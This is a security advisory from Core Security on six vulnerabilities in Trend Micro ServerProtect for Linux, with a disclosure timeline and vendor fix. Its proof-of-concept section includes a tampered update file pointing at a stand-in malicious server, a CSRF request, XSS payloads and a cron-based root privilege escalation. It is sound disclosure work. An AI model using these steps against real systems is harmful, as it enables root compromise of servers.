Trend Micro ServerProtect Multiple Vulnerabilities

Advisory ID Internal
CORE-2017-0002

1. Advisory Information

Title: Trend Micro ServerProtect Multiple Vulnerabilities
Advisory ID: CORE-2017-0002
Advisory URL: https://www.coresecurity.com/advisories/trend-micro-serverprotect-multiple-vulnerabilities
Date published: 2017-05-23
Date of last update: 2017-05-23
Vendors contacted: Trend Micro
Release mode: Coordinated release

2. Vulnerability Information

Class: Cleartext Transmission of Sensitive Information [CWE-319], Insufficient Verification of Data Authenticity [CWE-345], Cross-Site Request Forgery [CWE-352], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], External Control of File Name or Path [CWE-73]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-9035, CVE-2017-9034, CVE-2017-9033, CVE-2017-9037, CVE-2017-9032, CVE-2017-9036

3. Vulnerability Description

Trend Micro's website states that ServerProtect for Linux 3.0 [1] does "Protect against viruses, rootkits, and data-stealing malware while simplifying and automating security operations on servers and storage systems. This reliable solution from the market leader in server security offers real-time protection, high performance, and low processing overhead."

Vulnerabilities were found in the ServerProtect for Linux update mechanism, allowing remote code execution as root. We present two vectors to achieve this: one via a man-in-the-middle attack and another one via exploiting vulnerabilities in the Web-based Management Console that is bundled with the product.

4. Vulnerable Packages

  • Trend Micro ServerProtect for Linux 3.0-1061 with SP1 Patch 7 (1.0-1505)

Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

Trend Micro published the following Security Notes:

  • KB1117411 - https://success.trendmicro.com/solution/1117411

6. Credits

These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.

7. Technical Description / Proof of Concept Code

Trend Micro ServerProtect for Linux uses an insecure update mechanism that allows an attacker to overwrite sensitive files, including binaries, and achieve remote code execution as root.

The vulnerabilities presented in sections 7.1 and 7.2 are the core issue, and would allow an attacker in a man-in-the-middle position to gain root access.

Another option exists for when a man-in-the-middle attack is not feasible. The Web-based Management Console includes functionality to specify alternative download sources. By exploiting vulnerabilities 7.3, 7.4, or 7.5, an attacker would be able to set an arbitrary download source and trigger the vulnerable update mechanism.

Also, a privilege escalation vulnerability is presented in section 7.6 that allows a local user to run commands as root. This is achieved by abusing a functionality from the Web-based Management Console to set the quarantine directory to an arbitrary location.

7.1. Insecure Update via HTTP

[CVE-2017-9035] Communication to the update servers is unencrypted. The following request is generated when an administrator launches an update:

 GET /activeupdate/ini_xml.zip HTTP/1.1 Host: splx3-p.activeupdate.trendmicro.com:80 User-Agent:
 Mozilla/4.0 (compatible;MSIE 5.0; Windows 98) Accept: */* Pragma: No-Cache Cache-Control: 
no-store, no-cache Connection: close X-Trend-ActiveUpdate: 2.85.0.1097

The zip contains a server.ini file that describes from where to download engine updates, signatures, etc., as well as some metadata of each file. Additional updates are also downloaded via HTTP by default.

This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data.

7.2. Unvalidated Software Updates

[CVE-2017-9034] Update packages are not signed or validated in any form other than matching the expected size described in the server.ini file.

An attacker can overwrite sensitive files in the ServerProtect's directory, including shared libraries. Some interesting examples are the libvsapi.so and libaction.so files, which result in code execution in the context of the application, which is running as root.

The following is a proof of concept to demonstrate the vulnerability:

Create a zip archive with a copy of /bin/ls inside. For the example, we will call this file pepperoni.zip and rename the ls executable to the file we want to overwrite, which in this case is libvsapi.so.

 $ md5sum /bin/ls c4e5f7fcbcef75924b2abde2b2e75f3f /bin/ls

The next step is to provide a malicious server.ini file with the correct size for the update:

 [Server] AvailableServer=1 Server.1=http://malicious-server [ENGINE] E.20000400
=VSAPI_X64_LINUX,engine/pepperoni.zip,9.900.1111,57049,6.510.1002

The next time an update is launched, our file will be downloaded and the shared object library overwritten.

 $ pwd /opt/TrendMicro/SProtectLinux $ ls -l libvsapi.so -r-x------. 1 root root 
126584 mar 9 12:03 libvsapi.so $ sudo md5sum libvsapi.so c4e5f7fcbcef75924b2abde2b2e75f3f libvsapi.so

Replacing libvsapi.so with a malicious shared object file would result in command execution as root when the update process finishes or the API is accessed afterwards. Such payloads could include reverse shells, backdoor implants, etc.

7.3. Lack of Cross-Site Request Forgery Protection

[CVE-2017-9033] There are no Anti-CSRF tokens in any forms on the web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attack-controlled domain.

Proof of concept request to start an update from an arbitrary source:

 POST /SProtectLinux/scanoption_set.cgi?id=Update_Manual HTTP/1.1 Host: <server name>:14943 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: 
en-US,en;q=0.5 Referer: https://<server IP>:14943/SProtectLinux/scanoption.cgi?page=..
/html/Update/Update_Manual.htm Cookie: !CRYPTAA!Qt/gETGgy6CFP+CHi0CZtntYcGcNf7jEzyctWQBhAp
zX0OfFLSEsixs9IqWTpl5joTfY06TJt9/Y2l9HXHa8EQADe8C5A9AE64ef95C270C7D8666267F8!! DNT: 1 
Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded 
Content-Length: 252 C222=ON&C22=ON&C23=ON&C32=ON&source=V9&T119=http%3A%2F%2Frogueserver&B35=
Update+now&id=ManualUpdateConfig& DoUpdateNow=1&tmLastConfigFileModifiedDate=&bOverWrite=true&
bDirectlyUpdateNow=true&bLicenseViolate=& UpdateSrcName=Trend+Micro+ActiveUpdate+server

7.4. Cross-Site Scripting in notification.cgi

[CVE-2017-9037] The following parameters of the notification.cgi script are vulnerable to cross-site-scripting: S44, S5, S_action_fail, S_ptn_update, T113, T114, T115, T117117, T118, T_action_fail, T_ptn_update, textarea, textfield5, tmLastConfigFileModifiedDate.

The following is a proof of concept to demonstrate the vulnerability:

 https://<server IP>:14943/SProtectLinux/notification.cgi?Scan_config3=ON&textfield5=
100&D1=60& T114=[SPLX]+Security+risk+outbreak+subject&textarea=A+security+risk+outbreak
+was+detected& Scan_config=ON&T115=[SPLX]+Security+risk+infection+subject&S2=Security+
risk+infection(s)+detected& Scan_config4=ON&T116=[SPLX]+Real-time+scan+configuration+
modified&S3=The+real-time+scan+configuration+ was+modified&Scan_config5=ON&T117=[SPLX]+
ServerProtect+was+started&S4=ServerProtect+was+started& Scan_config55=ON&T117117=[SPLX]+
ServerProtect+was+stopped&S44=ServerProtect+was+stopped& Scan_config2=ON&T113=7&T118=[SPLX]
+Pattern+file+is+outdated&S5=Pattern+file+is+outdated& CHK_ptn_update=ON&T_ptn_update=[SPLX]+
Pattern+update+unsuccessful&S_ptn_update=Pattern+update+ unsuccessful&CHK_action_fail
=ON&T_action_fail=[SPLX]+Action+performed+on+malware+unsuccessful& S_action_fail=Action%20
performed%20on%20malware%20unsuccessful%3C%2fscript%3E%3Cimg%20src%3da%20onerror%3d alert(1)
%3E&B22=Save&page=Alerts.htm&action=save&tmLastConfigFileModifiedDate=123

7.5. Cross-Site Scripting in log_management.cgi

[CVE-2017-9032] The T1 and tmLastConfigFileModifiedDate parameters of the log_management.cgi script are vulnerable to cross-site scripting.

The following is a proof of concept to demonstrate the vulnerability:

 https://<server IP>:14943/SProtectLinux/log_management.cgi?T1=%2fvar%2flog%2fTrendMicro
%2fSProtectLinux%3c%2f script%3e%3cimg%20src%3da%20onerror%3dalert(1)%3et&B2=Save&Type=9
&sCreateDirectoryIfNotExist=& goBackDoNotAsk=0&tmLastConfigFileModifiedDate=123

7.6. Unrestricted quarantine directory could allow local privilege escalation

[CVE-2017-9036] The Web-based Management Console allows users to set the Quarantine directory to any location on the file system. An unauthenticated user could also change Quarantine directory settings by exploiting vulnerabilities 7.3, 7.4 or 7.5.

Files flagged as suspicious by the scanner are then moved to that directory without changing its name.

Quarantine files are owned by root and its permissions are changed to 0600. This effectively allows a local user to write the file that is put in quarantine to an arbitrary location with root permissions, which could lead to privilege escalation.

Being able to write to the file system as root opens the door to several privilege escalation vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory:

Change Quarantine directory to /etc/cron.d by visiting the following URL:

 https://<server IP>:14943/SProtectLinux/scanoption_set.cgi?T1=%2Fetc%2Fcron.d&id=QuarantineSettings& 
page=QuarantineDirectory&sCreateDirectoryIfNotExist=&goBackDoNotAsk=0&tmLastConfigFileModifiedDate=& bOverWrite=true

Place the binary you want to run on /tmp/test, this could be a reverse shell or any other binary. Place the following file anywhere on /home:

 * * * * * root /tmp/test #{{EICAR.COM string content from http://www.eicar.org/download/eicar.com}}

(Please note that we removed EICAR file content in order to avoid this advisory to be flagged as virus)

During the next scan, that file will be flagged as a virus (it contains EICAR test file as part of it), and it will be written by root to the directory we have chosen as the Quarantine directory, effectively placing it on /etc/cron.d. When the cron job gets triggered, /tmp/test is executed as root.

8. Report Timeline

  • 2017-03-14: Core Security sent an initial notification to Trend Micro, including a draft advisory.
  • 2017-03-14: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication.
  • 2017-04-03: Core Security asked Trend Micro if they were able to review and verify the reported issues. Core Security additionally requested an estimate date for releasing the fix/update.
  • 2017-04-03: Trend Micro confirmed they could reproduce all vulnerabilities reported. They are working on a fix and cannot confirm ETA due to the need to pass through several processes and QA to ensure the accuracy of the solution.
  • 2017-04-24: Core Security asked TrendMicro for an update on the status of the fixes for the reported vulnerabilities.
  • 2017-04-25: Trend Micro reported the patches are composed but still in progress of localizing the build for other regions. They are planning on publishing a security advisory and asked to agree on a release date.
  • 2017-04-25: Core Security proposed disclosure date to be May 22nd. Also asked for assigned CVE numbers.
  • 2017-04-25: Trend Micro said they will review their timeline and define a more concrete release date. They also said they have their own vulnerability identifiers and are not using CVE-ID.
  • 2017-04-26: Core Security asked for their vulnerability identifiers so we can include them in our advisory.
  • 2017-04-28: Trend Micro said they will share the security IDs once ready. Also asked for the researcher's names for proper attribution.
  • 2017-05-08: Core Security researchers found out a Critical Patch dated April 14th covering 5 out of the 6 vulnerabilities reported already published. Core Security asked for immediate clarification on the issue
  • 2017-05-09: Trend Micro acknowledged they published the patch and said they didn't issue an advisory yet since there is still one vulnerability to fix and they still need to translate the patch description to other languages. Trend Micro apologized for the confusion.
  • 2017-05-10: Core Security confirmed reception of message, stating being still in disagreement with the way the process was handled. Core Security also asked status on remaining vulnerability to assess the need to split the advisory in two.
  • 2017-05-16: Trend Micro confirmed they have a fix available for the remaining vulnerability and asked the publication date to be May 23rd.
  • 2017-05-16: Core Security accepted target publication date and sent the researchers' names for proper attribution. Core Security informed our advisory will be published May 23rd at noon time EST.
  • 2017-05-16: Trend Micro thanked us for accepting the date change and also asked for the CVE numbers to include in their advisory.
  • 2017-05-18: Core Security sent the assigned CVE numbers for each vulnerability. Reminded Trend Micro to send their advisory ID for these issues in order to include it in our final advisory.
  • 2017-05-22: Trend Micro sent their advisory ID (KB1117411) and final link.
  • 2017-05-23: Advisory CORE-2017-0002 published.

9. References

[1] http://apac.trendmicro.com/apac/enterprise/cloud-solutions/server-protection/.

10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs

11. About Core Security

Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia.

12. Disclaimer

The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team.